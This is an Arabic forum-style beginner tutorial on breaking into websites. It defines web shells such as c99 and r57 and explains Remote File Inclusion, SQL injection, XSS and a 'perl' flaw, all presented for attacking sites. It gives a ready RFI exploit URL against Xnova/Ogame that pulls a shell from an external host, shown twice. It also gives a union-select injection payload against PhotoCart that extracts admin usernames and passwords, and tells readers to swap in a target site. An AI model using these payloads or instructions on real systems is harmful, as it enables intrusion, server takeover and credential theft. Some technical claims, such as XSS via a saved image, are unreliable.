محمد المطري

اختراق المواقع لطالمى كثر طالبي شروحات اختراق المواقع و مع ان الشروحات متوفرة على الانترنت الا ان هناك مشاكل و هي انة الشروحات مبعثرة و غير مرتبة فالفرق بين دورة اختراق المواقع و قسم اختراق المواقع هو ترتيب الدروس الدرس الاول الثاني الثالث و لكن قسم اختراق المواقع لا يحتوي على ذالك فقط بل اكثر من هذا و لكن مشكلتة و حيدة و هي انة ملخبط اليكم بوابة يعني بداية شروحات اختراق المواقع لو عرفت لهذة الشروحات الباقية سهلة

(الشل) تعريفة - استخدامة - انواعة
(الشل) تعريفة - استخدامة - انواعة

الشل

هو سكربت في ملف و احد يربط المستخدم بالسرفر فيتحكم بالسرفركامل و يتكون من اوامر و للشل انواع

استخدامة

يستخدم في سرقة المعلموت و في اختراق الانظمة و في الكراكز و الكراكز معروفين بجشعهم يعني يلقى موقع فية ثغرة على طول يخترقة لا يهمة اي حاجة و يسموهم بالغة الانجليزي

Kids يعني اطفال الهكرز و هم اكبر خطر كأنك تعطي سلاح لطفل عمرة 5 سنوات فتخيل ايش يسوي فية

انواعة

هناك الكثير من الأنواع و لا اريد ان اذكرها لكم لكن هناك 2 شيلات التي تستخدم بكثرة

c99 - r57h

وضعت لكم الشرح مبسط و سهل للمبتدئين اذا اردت الملفات روح لك بالمنتدى سوي بحث او بقسم البرامج ارجو ان تكونو مركزين عشان تفهمو بسرعة و اقرائو كل كلمة اضعها لكم

________________________________________________________________

(الثغرة) تعريفها - انواعها - اشكالها
(الثغرة) تعريفها - انواعها - اشكالها

الثغرة

هي خطاء برمجي من المبرمج يعني تسمح للمستشكف الي يكتشف الثغرة
ان يستغل الموقع و يخترقة و يسرق معلوماتة او يخربة

انواعها

انواع الثغرات كثيرة لا اعرف بالتحديد و لكن هناك ثغرات منتشرة بكثرة و
ابتديها بالترتيب حسب الشهرة

1

Remote File Inclusion

اشهر و اكثر الثغرات انتشاراً فهذة الشغرة تسمح على طول برفع الشل

مثال

 Xnova(Ogame)

http://www.xxxx.com/includes/todofleetcontrol.php?ugamela_root_path=[shell]?

لأحظ معي  ت غير xxxxx  الى عنوان الموقع 

و بعد عنوان الموقع السكربت و مكتوب نوع السكربت فوق الثغرة 

و بالنهاية تغير  

[shell]?

الى 

http://www.alkrsan.jeeran.com/alkrsan.txt?

طبعاً هذا شل انت سوي لك و احد تستعملة عشان تكون مجهزة لك

2

Remote SQL Injection

هذة الثغرات تطلع لك كود الادمن مشفر او تتحكم بقاعدة البيانات و تزرع شل 

واسمها بالعربي حقن قواعد البيانات و هي ثاني اشهر ثغرة و هي ممتعة و لكن متعبة كثيراً في فك الهاشات

مثال

PhotoCart

' union select 1,2,3,4,5,concat_ws(0x3a,admin_user,admin_pass),7, 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,2 5,26 from admin/*

قد يكون رابط الاستغلال طويل و لكن على طول يطلع النتيجة

الان لمى تجربة ما في الا تغير اسم الموقع و مش كل مرة اقلك هههههههه

3

xss

من اشهر الثغرات والتي ليست فقط في اختراق المواقع و انمى الايميل و العضويات و هذة الثغرة ثغرة الكوكيز

يعني تسوي بالمفكرة كود و تضغة بالمفكرة و تحفظة بصيغة صورة و ترسلة لشخص و يفتح و يكون معاك كوكيزة

اعذروني لن اضع مثال لهذة الثغرة لأنها قد ثؤوثر على التصفح

4

perl

ثغرة صعبة نوعاً ما فهي تحتاج للدوز و نادرة الاستعمال و عملها يطلع لك كلمة السر مشفره و تحتاج لبرنامج

لكي تجعل هذة الثغرة تعمل و هذة الثغرة لا تتعلموها الان اتعلموها لمى توقع معاكم خبرة بالثغرات الاولى

المثال (صعب يحتاج شرح طويل عريض ان شاء الله شوفوة بصفحه لوحد)

انتهيت

ملاحظة: لم اشرح كل انواع الثغرات بالعالم لكن هذة الثغرات المشهورة و المعروفة اتمنى ان تكونو فهمتم .

Remote File Inclusion

اليكم مثال

	 Xnova(Ogame)

	http://www.xxxx.com/includes/todofleetcontrol.php?ugamela_root_path=[shell]?

	لأحظ معي  ت غير xxxxx  الى عنوان الموقع 

	و بعد عنوان الموقع السكربت و مكتوب نوع السكربت فوق الثغرة 

	و بالنهاية تغير  

	[shell]?

	الى 

	http://www.alkrsan.jeeran.com/alkrsan.txt?

	طبعاً هذا شل انت سوي لك و احد تستعملة عشان تكون مجهزة لك

و هذا شرح بالفيديو للأخ شاجع

شرح بالفيديو طريقة رفع الشل بالمرفقات

username,password

يقل لك انة هذة الثغرة تجيب الاسم و كلمة السر

طبعاً ما تعرف كلمة السر هل هية مشفرة اذا كانت مشفره شاهد شرح فك التشفير

الان خلاص شرحنى لكم هذة الثغرات